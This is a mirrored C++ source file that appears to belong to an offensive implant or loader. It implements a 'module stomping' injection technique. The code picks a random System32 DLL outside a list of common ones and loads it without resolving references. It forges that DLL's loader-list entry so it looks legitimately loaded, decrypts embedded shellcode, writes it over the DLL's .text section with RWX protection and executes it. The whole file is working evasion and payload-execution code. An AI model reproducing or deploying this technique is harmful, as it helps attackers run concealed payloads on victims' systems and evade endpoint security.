mirror of
https://github.com/entropy-z/Kharon
synced 2026-06-06 15:34:34 +00:00
283 lines
9.5 KiB
C++
283 lines
9.5 KiB
C++
#include <Kharon.h>
|
|
|
|
#if INJECTION_TECHNIQUE == INJECTION_TECHNIQUE_STOMPER
|
|
|
|
static const WCHAR* BlacklistedDlls[] = {
|
|
L"msvcrt.dll", L"advapi32.dll", L"rpcrt4.dll",
|
|
L"sechost.dll", L"sspicli.dll", L"cryptbase.dll",
|
|
L"imm32.dll", L"iphlpapi.dll", L"dhcpcsvc.dll",
|
|
L"nsi.dll", L"winnsi.dll", L"kernel32.dll",
|
|
L"kernelbase.dll", L"user32.dll", L"gdi32.dll",
|
|
L"gdi32full.dll", L"msvcp_win.dll", L"win32u.dll",
|
|
L"mswsock.dll", L"ntdll.dll", L"wininet.dll",
|
|
L"ondemandconnroutehelper.dll", L"iertutil.dll", L"kernel.appcore.dll",
|
|
L"netutils.dll", L"oleaut32.dll", L"srvcli.dll",
|
|
L"ucrtbase.dll", L"urlmon.dll", L"shell32.dll",
|
|
L"wintypes.dll", L"windows.storage.dll",
|
|
L"combase.dll", L"profapi.dll", L"shcore.dll",
|
|
L"shlwapi.dll", L"winhttp.dll", L"ws2_32.dll",
|
|
};
|
|
|
|
static const SIZE_T BlacklistedDllsCount = sizeof(BlacklistedDlls) / sizeof(*BlacklistedDlls);
|
|
|
|
static VOID StringToLower( WCHAR* String ) {
|
|
for (; *String; String++)
|
|
if (*String >= L'A' && *String <= L'Z')
|
|
*String += 32;
|
|
}
|
|
|
|
static BOOL IsDllBlacklisted( const WCHAR* DllName ) {
|
|
WCHAR Lower[64] = { 0 };
|
|
|
|
for (INT i = 0; DllName[i] && i < 63; i++)
|
|
Lower[i] = DllName[i];
|
|
|
|
StringToLower(Lower);
|
|
|
|
for (SIZE_T i = 0; i < BlacklistedDllsCount; i++)
|
|
if (wcscmp(Lower, BlacklistedDlls[i]) == 0)
|
|
return TRUE;
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
static SIZE_T GetTextSectionSizeFromDisk( const WCHAR* FilePath ) {
|
|
SIZE_T TextSize = 0;
|
|
|
|
HANDLE FileHandle = CreateFileW(FilePath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
|
|
if (FileHandle == INVALID_HANDLE_VALUE)
|
|
return 0;
|
|
|
|
LARGE_INTEGER FileSize = { 0 };
|
|
if (!GetFileSizeEx(FileHandle, &FileSize) || FileSize.QuadPart < (LONGLONG)sizeof(IMAGE_DOS_HEADER)) {
|
|
CloseHandle(FileHandle);
|
|
return 0;
|
|
}
|
|
|
|
HANDLE Mapping = CreateFileMappingW(FileHandle, nullptr, PAGE_READONLY, 0, 0, nullptr);
|
|
if (!Mapping) {
|
|
CloseHandle(FileHandle);
|
|
return 0;
|
|
}
|
|
|
|
PVOID Base = MapViewOfFile(Mapping, FILE_MAP_READ, 0, 0, 0);
|
|
if (!Base) {
|
|
CloseHandle(Mapping);
|
|
CloseHandle(FileHandle);
|
|
return 0;
|
|
}
|
|
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Base;
|
|
|
|
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
|
goto Cleanup;
|
|
|
|
if (DosHeader->e_lfanew <= 0 ||
|
|
(LONGLONG)DosHeader->e_lfanew + (LONGLONG)sizeof(IMAGE_NT_HEADERS) > FileSize.QuadPart)
|
|
goto Cleanup;
|
|
|
|
{
|
|
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)Base + DosHeader->e_lfanew);
|
|
|
|
if (NtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
|
goto Cleanup;
|
|
|
|
WORD SectionCount = NtHeaders->FileHeader.NumberOfSections;
|
|
|
|
if (SectionCount == 0 || SectionCount > 96)
|
|
goto Cleanup;
|
|
|
|
PIMAGE_SECTION_HEADER Sections = IMAGE_FIRST_SECTION(NtHeaders);
|
|
|
|
if ((PBYTE)(Sections + SectionCount) > (PBYTE)Base + FileSize.QuadPart)
|
|
goto Cleanup;
|
|
|
|
for (WORD i = 0; i < SectionCount; i++) {
|
|
if (strncmp((CHAR*)Sections[i].Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
|
TextSize = (SIZE_T)Sections[i].Misc.VirtualSize;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
Cleanup:
|
|
UnmapViewOfFile(Base);
|
|
CloseHandle(Mapping);
|
|
CloseHandle(FileHandle);
|
|
return TextSize;
|
|
}
|
|
|
|
static SIZE_T GetTextSectionAddress( SIZE_T ModuleBase ) {
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
|
|
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + DosHeader->e_lfanew);
|
|
PIMAGE_SECTION_HEADER Sections = IMAGE_FIRST_SECTION(NtHeaders);
|
|
WORD SectionCount = NtHeaders->FileHeader.NumberOfSections;
|
|
|
|
for (WORD i = 0; i < SectionCount; i++)
|
|
if (strncmp((CHAR*)Sections[i].Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0)
|
|
return (SIZE_T)((PBYTE)ModuleBase + Sections[i].VirtualAddress);
|
|
|
|
return 0;
|
|
}
|
|
|
|
static BOOL FixLdrEntry( SIZE_T ModuleBase ) {
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
|
|
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + DosHeader->e_lfanew);
|
|
PVOID EntryPoint = nullptr;
|
|
PPEB Peb = nullptr;
|
|
PLIST_ENTRY Head = nullptr;
|
|
PLIST_ENTRY Entry = nullptr;
|
|
PLDR_DATA_TABLE_ENTRY LdrEntry = nullptr;
|
|
|
|
if (NtHeaders->OptionalHeader.AddressOfEntryPoint != 0)
|
|
EntryPoint = (PVOID)(ModuleBase + NtHeaders->OptionalHeader.AddressOfEntryPoint);
|
|
|
|
Peb = NtCurrentPeb();
|
|
Head = &Peb->Ldr->InLoadOrderModuleList;
|
|
Entry = Head->Flink;
|
|
|
|
while (Entry != Head) {
|
|
LdrEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
|
|
|
|
if ((SIZE_T)LdrEntry->DllBase == ModuleBase) {
|
|
LdrEntry->EntryPoint = (PLDR_INIT_ROUTINE)EntryPoint;
|
|
LdrEntry->Flags = 0xa47f32e0;
|
|
LdrEntry->ImageDll = 0x01;
|
|
LdrEntry->LoadNotificationsSent = 0x01;
|
|
LdrEntry->ProcessStaticImport = 0x01;
|
|
return TRUE;
|
|
}
|
|
|
|
Entry = Entry->Flink;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
static INT CollectCandidates( WCHAR Candidates[][MAX_PATH], INT MaxCount ) {
|
|
WCHAR SearchPath[MAX_PATH] = { 0 };
|
|
INT Count = 0;
|
|
|
|
WIN32_FIND_DATAW FileData = { 0 };
|
|
HANDLE FindHandle = INVALID_HANDLE_VALUE;
|
|
|
|
GetSystemDirectoryW(SearchPath, MAX_PATH);
|
|
wcscat(SearchPath, L"\\*.dll");
|
|
|
|
FindHandle = FindFirstFileW(SearchPath, &FileData);
|
|
if (FindHandle == INVALID_HANDLE_VALUE)
|
|
return 0;
|
|
|
|
do {
|
|
WCHAR FullPath[MAX_PATH] = { 0 };
|
|
SIZE_T TextSize = 0;
|
|
|
|
if (IsDllBlacklisted(FileData.cFileName))
|
|
continue;
|
|
|
|
GetSystemDirectoryW(FullPath, MAX_PATH);
|
|
wcscat(FullPath, L"\\");
|
|
wcscat(FullPath, FileData.cFileName);
|
|
|
|
TextSize = GetTextSectionSizeFromDisk(FullPath);
|
|
if (TextSize >= (SIZE_T)Shellcode::Size) {
|
|
wcscpy(Candidates[Count++], FullPath);
|
|
if (Count >= MaxCount)
|
|
break;
|
|
}
|
|
|
|
} while (FindNextFileW(FindHandle, &FileData));
|
|
|
|
FindClose(FindHandle);
|
|
return Count;
|
|
}
|
|
|
|
auto Injection::Stomper( VOID ) -> VOID {
|
|
INT CandidateCount = 0;
|
|
INT ChosenIndex = 0;
|
|
WCHAR ChosenPath[MAX_PATH] = { 0 };
|
|
|
|
SIZE_T ModuleBase = 0;
|
|
SIZE_T TextSection = 0;
|
|
ULONG OldProtection = 0;
|
|
BOOL ProtectionChanged = FALSE;
|
|
|
|
LPVOID DecryptedHeap = nullptr;
|
|
WCHAR (*Candidates)[MAX_PATH] = nullptr;
|
|
|
|
auto CleanMask = [&]( const char* reason = nullptr, DWORD err = 0 ) -> VOID {
|
|
if ( ProtectionChanged ) { VirtualProtect((LPVOID)TextSection, Shellcode::Size, OldProtection, &OldProtection); ProtectionChanged = FALSE; }
|
|
if ( DecryptedHeap ) { HeapFree(GetProcessHeap(), 0, DecryptedHeap); DecryptedHeap = nullptr; }
|
|
if ( Candidates ) { HeapFree(GetProcessHeap(), 0, Candidates); Candidates = nullptr; }
|
|
if ( ModuleBase ) { FreeLibrary((HMODULE)ModuleBase); ModuleBase = 0; }
|
|
|
|
if ( reason && err ) DbgPrint( "%s (%d)\n", reason, err );
|
|
else if ( reason ) DbgPrint( "%s\n", reason );
|
|
};
|
|
|
|
Candidates = (WCHAR(*)[MAX_PATH])HeapAlloc(
|
|
GetProcessHeap(), HEAP_ZERO_MEMORY, 256 * MAX_PATH * sizeof(WCHAR)
|
|
);
|
|
|
|
if ( !Candidates ) {
|
|
return CleanMask( "HeapAlloc candidates failed", GetLastError() );
|
|
}
|
|
|
|
CandidateCount = CollectCandidates( Candidates, 256 );
|
|
if ( CandidateCount == 0 ) {
|
|
return CleanMask( "No suitable DLL candidate found", GetLastError() );
|
|
}
|
|
|
|
ChosenIndex = (INT)( GetTickCount() % (DWORD)CandidateCount );
|
|
wcscpy( ChosenPath, Candidates[ChosenIndex] );
|
|
|
|
HeapFree( GetProcessHeap(), 0, Candidates );
|
|
Candidates = nullptr;
|
|
|
|
ModuleBase = (SIZE_T)LoadLibraryExW( ChosenPath, nullptr, DONT_RESOLVE_DLL_REFERENCES );
|
|
if ( !ModuleBase ) {
|
|
return CleanMask( "LoadLibraryExW failed", GetLastError() );
|
|
}
|
|
|
|
if ( !FixLdrEntry( ModuleBase ) ) {
|
|
return CleanMask( "FixLdrEntry failed", GetLastError() );
|
|
}
|
|
|
|
TextSection = GetTextSectionAddress( ModuleBase );
|
|
if ( !TextSection ) {
|
|
return CleanMask( "GetTextSectionAddress failed", GetLastError() );
|
|
}
|
|
|
|
DecryptedHeap = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, Shellcode::Size );
|
|
if ( !DecryptedHeap ) {
|
|
return CleanMask( "HeapAlloc shellcode failed", GetLastError() );
|
|
}
|
|
|
|
if ( Encryption::Decrypt( (UCHAR*)Shellcode::Data, (INT)Shellcode::Size, (UCHAR*)DecryptedHeap ) < 0 ) {
|
|
return CleanMask( "Encryption::Decrypt failed", GetLastError() );
|
|
}
|
|
|
|
if ( !VirtualProtect( (LPVOID)TextSection, Shellcode::Size, PAGE_EXECUTE_READWRITE, &OldProtection ) ) {
|
|
return CleanMask( "VirtualProtect RWX failed", GetLastError() );
|
|
}
|
|
ProtectionChanged = TRUE;
|
|
|
|
memcpy( (LPVOID)TextSection, DecryptedHeap, Shellcode::Size );
|
|
|
|
HeapFree( GetProcessHeap(), 0, DecryptedHeap );
|
|
DecryptedHeap = nullptr;
|
|
|
|
if ( !VirtualProtect( (LPVOID)TextSection, Shellcode::Size, OldProtection, &OldProtection ) ) {
|
|
return CleanMask( "VirtualProtect restore failed", GetLastError() );
|
|
}
|
|
ProtectionChanged = FALSE;
|
|
|
|
ModuleBase = 0;
|
|
|
|
CleanMask();
|
|
|
|
VOID (*Stomp)(VOID) = (decltype(Stomp))TextSection;
|
|
Stomp();
|
|
}
|
|
|
|
#endif |